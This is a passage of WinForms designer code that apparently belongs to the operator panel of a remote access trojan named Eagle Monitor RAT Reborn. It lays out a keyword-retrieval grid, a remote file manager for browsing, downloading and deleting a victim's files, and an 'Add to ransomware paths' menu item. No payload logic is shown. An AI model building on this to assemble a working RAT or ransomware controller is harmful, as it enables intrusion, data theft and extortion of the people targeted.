this.guna2VScrollBar5.ScrollbarSize = 18;\n            this.guna2VScrollBar5.Size = new System.Drawing.Size(18, 426);\n            this.guna2VScrollBar5.TabIndex = 16;\n            this.guna2VScrollBar5.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // tabPage7\n            // \n            this.tabPage7.Controls.Add(this.keywordsDataGridView);\n            this.tabPage7.Controls.Add(this.guna2VScrollBar6);\n            this.tabPage7.Location = new System.Drawing.Point(4, 44);\n            this.tabPage7.Name = \"tabPage7\";\n            this.tabPage7.Size = new System.Drawing.Size(1083, 426);\n            this.tabPage7.TabIndex = 3;\n            this.tabPage7.Text = \"Keywords\";\n            this.tabPage7.UseVisualStyleBackColor = true;\n            // \n            // keywordsDataGridView\n            // \n            this.keywordsDataGridView.AllowUserToAddRows = false;\n            this.keywordsDataGridView.AllowUserToDeleteRows = false;\n            this.keywordsDataGridView.AllowUserToResizeColumns = false;\n            this.keywordsDataGridView.AllowUserToResizeRows = false;\n            this.keywordsDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.keywordsDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.keywordsDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.keywordsDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle13.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle13.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle13.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle13.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle13.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle13.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle13.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.keywordsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle13;\n            this.keywordsDataGridView.ColumnHeadersHeight = 36;\n            this.keywordsDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column26,\n            this.Column27});\n            this.keywordsDataGridView.ContextMenuStrip = this.keywordsContextMenuStrip;\n            this.keywordsDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.keywordsDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.keywordsDataGridView.EnableHeadersVisualStyles = false;\n            this.keywordsDataGridView.GridColor = System.Drawing.Color.White;\n            this.keywordsDataGridView.Location = new System.Drawing.Point(0, 0);\n            this.keywordsDataGridView.Name = \"keywordsDataGridView\";\n            this.keywordsDataGridView.ReadOnly = true;\n            this.keywordsDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle16.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle16.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            dataGridViewCellStyle16.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle16.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.keywordsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle16;\n            this.keywordsDataGridView.RowTemplate.Height = 26;\n            this.keywordsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.keywordsDataGridView.Size = new System.Drawing.Size(1065, 426);\n            this.keywordsDataGridView.TabIndex = 16;\n            this.keywordsDataGridView.TabStop = false;\n            this.keywordsDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.keywordsDataGridView_MouseUp);\n            // \n            // Column26\n            // \n            this.Column26.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle14.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column26.DefaultCellStyle = dataGridViewCellStyle14;\n            this.Column26.FillWeight = 20F;\n            this.Column26.HeaderText = \"Application\";\n            this.Column26.Name = \"Column26\";\n            this.Column26.ReadOnly = true;\n            // \n            // Column27\n            // \n            this.Column27.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle15.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.Column27.DefaultCellStyle = dataGridViewCellStyle15;\n            this.Column27.FillWeight = 25F;\n            this.Column27.HeaderText = \"Keywords\";\n            this.Column27.Name = \"Column27\";\n            this.Column27.ReadOnly = true;\n            // \n            // keywordsContextMenuStrip\n            // \n            this.keywordsContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.keywordsContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.keywordsToolStripMenuItem});\n            this.keywordsContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.keywordsContextMenuStrip.Size = new System.Drawing.Size(129, 38);\n            // \n            // keywordsToolStripMenuItem\n            // \n            this.keywordsToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.keywordsToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.keywordsToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.text_input_form_32px;\n            this.keywordsToolStripMenuItem.Name = \"keywordsToolStripMenuItem\";\n            this.keywordsToolStripMenuItem.Size = new System.Drawing.Size(128, 34);\n            this.keywordsToolStripMenuItem.Text = \"Retrieve\";\n            this.keywordsToolStripMenuItem.Click += new System.EventHandler(this.keywordsToolStripMenuItem_Click);\n            // \n            // guna2VScrollBar6\n            // \n            this.guna2VScrollBar6.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar6.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar6.InUpdate = false;\n            this.guna2VScrollBar6.LargeChange = 10;\n            this.guna2VScrollBar6.Location = new System.Drawing.Point(1065, 0);\n            this.guna2VScrollBar6.Name = \"guna2VScrollBar6\";\n            this.guna2VScrollBar6.ScrollbarSize = 18;\n            this.guna2VScrollBar6.Size = new System.Drawing.Size(18, 426);\n            this.guna2VScrollBar6.TabIndex = 17;\n            this.guna2VScrollBar6.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // tabPage2\n            // \n            this.tabPage2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.tabPage2.Controls.Add(this.panel1);\n            this.tabPage2.Location = new System.Drawing.Point(4, 4);\n            this.tabPage2.Name = \"tabPage2\";\n            this.tabPage2.Size = new System.Drawing.Size(1091, 474);\n            this.tabPage2.TabIndex = 1;\n            this.tabPage2.Text = \"File Manager\";\n            // \n            // panel1\n            // \n            this.panel1.BackColor = System.Drawing.Color.White;\n            this.panel1.Controls.Add(this.fileManagerGuna2TabControl);\n            this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.panel1.Location = new System.Drawing.Point(0, 0);\n            this.panel1.Name = \"panel1\";\n            this.panel1.Padding = new System.Windows.Forms.Padding(2);\n            this.panel1.Size = new System.Drawing.Size(1091, 474);\n            this.panel1.TabIndex = 16;\n            // \n            // fileManagerGuna2TabControl\n            // \n            this.fileManagerGuna2TabControl.Controls.Add(this.tabPage9);\n            this.fileManagerGuna2TabControl.Controls.Add(this.tabPage13);\n            this.fileManagerGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.fileManagerGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40);\n            this.fileManagerGuna2TabControl.Location = new System.Drawing.Point(2, 2);\n            this.fileManagerGuna2TabControl.Name = \"fileManagerGuna2TabControl\";\n            this.fileManagerGuna2TabControl.SelectedIndex = 0;\n            this.fileManagerGuna2TabControl.Size = new System.Drawing.Size(1087, 470);\n            this.fileManagerGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;\n            this.fileManagerGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;\n            this.fileManagerGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.fileManagerGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White;\n            this.fileManagerGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.fileManagerGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty;\n            this.fileManagerGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White;\n            this.fileManagerGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.fileManagerGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167)))));\n            this.fileManagerGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235)))));\n            this.fileManagerGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty;\n            this.fileManagerGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.fileManagerGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.fileManagerGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            this.fileManagerGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.fileManagerGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40);\n            this.fileManagerGuna2TabControl.TabIndex = 18;\n            this.fileManagerGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White;\n            this.fileManagerGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop;\n            // \n            // tabPage9\n            // \n            this.tabPage9.BackColor = System.Drawing.Color.White;\n            this.tabPage9.Controls.Add(this.fileManagerDataGridView);\n            this.tabPage9.Controls.Add(this.guna2VScrollBar3);\n            this.tabPage9.Controls.Add(this.panel2);\n            this.tabPage9.Location = new System.Drawing.Point(4, 44);\n            this.tabPage9.Name = \"tabPage9\";\n            this.tabPage9.Size = new System.Drawing.Size(1079, 422);\n            this.tabPage9.TabIndex = 0;\n            this.tabPage9.Text = \"File Manager\";\n            // \n            // fileManagerDataGridView\n            // \n            this.fileManagerDataGridView.AllowUserToAddRows = false;\n            this.fileManagerDataGridView.AllowUserToDeleteRows = false;\n            this.fileManagerDataGridView.AllowUserToResizeColumns = false;\n            this.fileManagerDataGridView.AllowUserToResizeRows = false;\n            this.fileManagerDataGridView.BackgroundColor = System.Drawing.Color.White;\n            this.fileManagerDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;\n            this.fileManagerDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;\n            this.fileManagerDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;\n            dataGridViewCellStyle17.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;\n            dataGridViewCellStyle17.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            dataGridViewCellStyle17.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            dataGridViewCellStyle17.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            dataGridViewCellStyle17.SelectionBackColor = System.Drawing.SystemColors.Highlight;\n            dataGridViewCellStyle17.SelectionForeColor = System.Drawing.SystemColors.HighlightText;\n            dataGridViewCellStyle17.WrapMode = System.Windows.Forms.DataGridViewTriState.True;\n            this.fileManagerDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle17;\n            this.fileManagerDataGridView.ColumnHeadersHeight = 36;\n            this.fileManagerDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {\n            this.Column11,\n            this.Column12,\n            this.Column13,\n            this.Column14});\n            this.fileManagerDataGridView.ContextMenuStrip = this.fileManagerContextMenuStrip;\n            this.fileManagerDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.fileManagerDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;\n            this.fileManagerDataGridView.EnableHeadersVisualStyles = false;\n            this.fileManagerDataGridView.GridColor = System.Drawing.Color.White;\n            this.fileManagerDataGridView.Location = new System.Drawing.Point(0, 47);\n            this.fileManagerDataGridView.Name = \"fileManagerDataGridView\";\n            this.fileManagerDataGridView.ReadOnly = true;\n            this.fileManagerDataGridView.RowHeadersVisible = false;\n            dataGridViewCellStyle21.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle21.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            dataGridViewCellStyle21.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));\n            dataGridViewCellStyle21.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));\n            this.fileManagerDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle21;\n            this.fileManagerDataGridView.RowTemplate.Height = 26;\n            this.fileManagerDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;\n            this.fileManagerDataGridView.Size = new System.Drawing.Size(1061, 375);\n            this.fileManagerDataGridView.TabIndex = 6;\n            this.fileManagerDataGridView.TabStop = false;\n            this.fileManagerDataGridView.MouseDoubleClick += new System.Windows.Forms.MouseEventHandler(this.fileManagerDataGridView_MouseDoubleClick);\n            this.fileManagerDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.fileManagerDataGridView_MouseUp);\n            // \n            // Column11\n            // \n            this.Column11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle18.BackColor = System.Drawing.Color.White;\n            dataGridViewCellStyle18.ForeColor = System.Drawing.Color.White;\n            dataGridViewCellStyle18.NullValue = null;\n            dataGridViewCellStyle18.Padding = new System.Windows.Forms.Padding(15, 2, 2, 2);\n            this.Column11.DefaultCellStyle = dataGridViewCellStyle18;\n            this.Column11.FillWeight = 12F;\n            this.Column11.HeaderText = \"\";\n            this.Column11.Name = \"Column11\";\n            this.Column11.ReadOnly = true;\n            this.Column11.Resizable = System.Windows.Forms.DataGridViewTriState.False;\n            // \n            // Column12\n            // \n            this.Column12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle19.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column12.DefaultCellStyle = dataGridViewCellStyle19;\n            this.Column12.FillWeight = 25F;\n            this.Column12.HeaderText = \"Name\";\n            this.Column12.Name = \"Column12\";\n            this.Column12.ReadOnly = true;\n            // \n            // Column13\n            // \n            this.Column13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle20.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));\n            this.Column13.DefaultCellStyle = dataGridViewCellStyle20;\n            this.Column13.FillWeight = 18F;\n            this.Column13.HeaderText = \"Type\";\n            this.Column13.Name = \"Column13\";\n            this.Column13.ReadOnly = true;\n            // \n            // Column14\n            // \n            this.Column14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column14.FillWeight = 25F;\n            this.Column14.HeaderText = \"Size\";\n            this.Column14.Name = \"Column14\";\n            this.Column14.ReadOnly = true;\n            // \n            // fileManagerContextMenuStrip\n            // \n            this.fileManagerContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.fileManagerContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.refreshToolStripMenuItem,\n            this.goToolStripMenuItem,\n            this.backToolStripMenuItem,\n            this.shortcutToolStripMenuItem,\n            this.fileToolStripMenuItem,\n            this.directoryToolStripMenuItem});\n            this.fileManagerContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.fileManagerContextMenuStrip.Size = new System.Drawing.Size(135, 208);\n            // \n            // refreshToolStripMenuItem\n            // \n            this.refreshToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.refreshToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.refreshToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.replay_32px;\n            this.refreshToolStripMenuItem.Name = \"refreshToolStripMenuItem\";\n            this.refreshToolStripMenuItem.Size = new System.Drawing.Size(134, 34);\n            this.refreshToolStripMenuItem.Text = \"Refresh\";\n            this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click);\n            // \n            // goToolStripMenuItem\n            // \n            this.goToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.goToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.goToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.forward_32px;\n            this.goToolStripMenuItem.Name = \"goToolStripMenuItem\";\n            this.goToolStripMenuItem.Size = new System.Drawing.Size(134, 34);\n            this.goToolStripMenuItem.Text = \"Go\";\n            this.goToolStripMenuItem.Click += new System.EventHandler(this.goToolStripMenuItem_Click);\n            // \n            // backToolStripMenuItem\n            // \n            this.backToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.backToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.backToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.back_32px;\n            this.backToolStripMenuItem.Name = \"backToolStripMenuItem\";\n            this.backToolStripMenuItem.Size = new System.Drawing.Size(134, 34);\n            this.backToolStripMenuItem.Text = \"Back\";\n            this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click);\n            // \n            // shortcutToolStripMenuItem\n            // \n            this.shortcutToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.shortcutToolStripMenuItem.DropDown = this.shortcutContextMenuStrip;\n            this.shortcutToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.shortcutToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.pin_32px;\n            this.shortcutToolStripMenuItem.Name = \"shortcutToolStripMenuItem\";\n            this.shortcutToolStripMenuItem.Size = new System.Drawing.Size(134, 34);\n            this.shortcutToolStripMenuItem.Text = \"Shortcut\";\n            // \n            // shortcutContextMenuStrip\n            // \n            this.shortcutContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.shortcutContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.downloadSToolStripMenuItem,\n            this.desktopSToolStripMenuItem,\n            this.documentsSToolStripMenuItem,\n            this.userProfileSToolStripMenuItem});\n            this.shortcutContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.shortcutContextMenuStrip.OwnerItem = this.shortcutToolStripMenuItem;\n            this.shortcutContextMenuStrip.Size = new System.Drawing.Size(148, 140);\n            // \n            // downloadSToolStripMenuItem\n            // \n            this.downloadSToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.downloadSToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.downloadSToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.downloads_folder_32px;\n            this.downloadSToolStripMenuItem.Name = \"downloadSToolStripMenuItem\";\n            this.downloadSToolStripMenuItem.Size = new System.Drawing.Size(147, 34);\n            this.downloadSToolStripMenuItem.Text = \"Download\";\n            this.downloadSToolStripMenuItem.Click += new System.EventHandler(this.downloadSToolStripMenuItem_Click);\n            // \n            // desktopSToolStripMenuItem\n            // \n            this.desktopSToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.desktopSToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.desktopSToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.folder_32px;\n            this.desktopSToolStripMenuItem.Name = \"desktopSToolStripMenuItem\";\n            this.desktopSToolStripMenuItem.Size = new System.Drawing.Size(147, 34);\n            this.desktopSToolStripMenuItem.Text = \"Desktop\";\n            this.desktopSToolStripMenuItem.Click += new System.EventHandler(this.desktopSToolStripMenuItem_Click);\n            // \n            // documentsSToolStripMenuItem\n            // \n            this.documentsSToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.documentsSToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.documentsSToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.documents_folder_32px;\n            this.documentsSToolStripMenuItem.Name = \"documentsSToolStripMenuItem\";\n            this.documentsSToolStripMenuItem.Size = new System.Drawing.Size(147, 34);\n            this.documentsSToolStripMenuItem.Text = \"Documents\";\n            this.documentsSToolStripMenuItem.Click += new System.EventHandler(this.documentsSToolStripMenuItem_Click);\n            // \n            // userProfileSToolStripMenuItem\n            // \n            this.userProfileSToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.userProfileSToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.userProfileSToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.folder_32px;\n            this.userProfileSToolStripMenuItem.Name = \"userProfileSToolStripMenuItem\";\n            this.userProfileSToolStripMenuItem.Size = new System.Drawing.Size(147, 34);\n            this.userProfileSToolStripMenuItem.Text = \"User Profile\";\n            this.userProfileSToolStripMenuItem.Click += new System.EventHandler(this.userProfileSToolStripMenuItem_Click);\n            // \n            // fileToolStripMenuItem\n            // \n            this.fileToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.fileToolStripMenuItem.DropDown = this.fileContextMenuStrip;\n            this.fileToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.fileToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.file_32px;\n            this.fileToolStripMenuItem.Name = \"fileToolStripMenuItem\";\n            this.fileToolStripMenuItem.Size = new System.Drawing.Size(134, 34);\n            this.fileToolStripMenuItem.Text = \"File\";\n            // \n            // fileContextMenuStrip\n            // \n            this.fileContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.fileContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.downloadFileToolStripMenuItem,\n            this.deleteFileToolStripMenuItem});\n            this.fileContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.fileContextMenuStrip.OwnerItem = this.fileToolStripMenuItem;\n            this.fileContextMenuStrip.Size = new System.Drawing.Size(141, 72);\n            // \n            // downloadFileToolStripMenuItem\n            // \n            this.downloadFileToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.downloadFileToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.downloadFileToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.download_32px;\n            this.downloadFileToolStripMenuItem.Name = \"downloadFileToolStripMenuItem\";\n            this.downloadFileToolStripMenuItem.Size = new System.Drawing.Size(140, 34);\n            this.downloadFileToolStripMenuItem.Text = \"Download\";\n            this.downloadFileToolStripMenuItem.Click += new System.EventHandler(this.downloadFileToolStripMenuItem_Click);\n            // \n            // deleteFileToolStripMenuItem\n            // \n            this.deleteFileToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.deleteFileToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.deleteFileToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.file_delete_32px;\n            this.deleteFileToolStripMenuItem.Name = \"deleteFileToolStripMenuItem\";\n            this.deleteFileToolStripMenuItem.Size = new System.Drawing.Size(140, 34);\n            this.deleteFileToolStripMenuItem.Text = \"Delete\";\n            this.deleteFileToolStripMenuItem.Click += new System.EventHandler(this.deleteFileToolStripMenuItem_Click);\n            // \n            // directoryToolStripMenuItem\n            // \n            this.directoryToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.directoryToolStripMenuItem.DropDown = this.directoryContextMenuStrip;\n            this.directoryToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.directoryToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.folder_32px;\n            this.directoryToolStripMenuItem.Name = \"directoryToolStripMenuItem\";\n            this.directoryToolStripMenuItem.Size = new System.Drawing.Size(134, 34);\n            this.directoryToolStripMenuItem.Text = \"Directory\";\n            // \n            // directoryContextMenuStrip\n            // \n            this.directoryContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.directoryContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.addRansomwareToolStripMenuItem});\n            this.directoryContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.directoryContextMenuStrip.OwnerItem = this.directoryToolStripMenuItem;\n            this.directoryContextMenuStrip.Size = new System.Drawing.Size(223, 38);\n            // \n            // addRansomwareToolStripMenuItem\n            // \n            this.addRansomwareToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.addRansomwareToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.addRansomwareToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.direction_32px;\n            this.addRansomwareToolStripMenuItem.Name = \"addRansomwareToolStripMenuItem\";\n            this.addRansomwareToolStripMenuItem.Size = new System.Drawing.Size(222, 34);\n            this.addRansomwareToolStripMenuItem.Text = \"Add to ransomware paths\";\n            this.addRansomwareToolStripMenuItem.Click += new System.EventHandler(this.addRansomwareToolStripMenuItem_Click);\n            // \n            // guna2VScrollBar3\n            // \n            this.guna2VScrollBar3.Dock = System.Windows.Forms.DockStyle.Right;\n            this.guna2VScrollBar3.FillColor = System.Drawing.Color.White;\n            this.guna2VScrollBar3.InUpdate = false;\n            this.guna2VScrollBar3.LargeChange = 10;\n            this.guna2VScrollBar3.Location = new System.Drawing.Point(1061, 47);\n            this.guna2VScrollBar3.Name = \"guna2VScrollBar3\";\n            this.guna2VScrollBar3.ScrollbarSize = 18;\n            this.guna2VScrollBar3.Size = new System.Drawing.Size(18, 375);\n            this.guna2VScrollBar3.TabIndex = 15;\n            this.guna2VScrollBar3.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            // \n            // panel2\n            // \n            this.panel2.BackColor = System.Drawing.Color.White;\n            this.panel2.Controls.Add(this.labelPath);\n            this.panel2.Controls.Add(this.disksGuna2ComboBox);\n            this.panel2.Dock = System.Windows.Forms.DockStyle.Top;\n            this.panel2.Location = new System.Drawing.Point(0, 0);\n            this.panel2.Name = \"panel2\";\n            this.panel2.Size = new System.Drawing.Size(1079, 47);\n            this.panel2.TabIndex = 17;\n            // \n            // labelPath\n            // \n            this.labelPath.AutoSize = true;\n            this.labelPath.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.labelPath.Location = new System.Drawing.Point(154, 16);\n            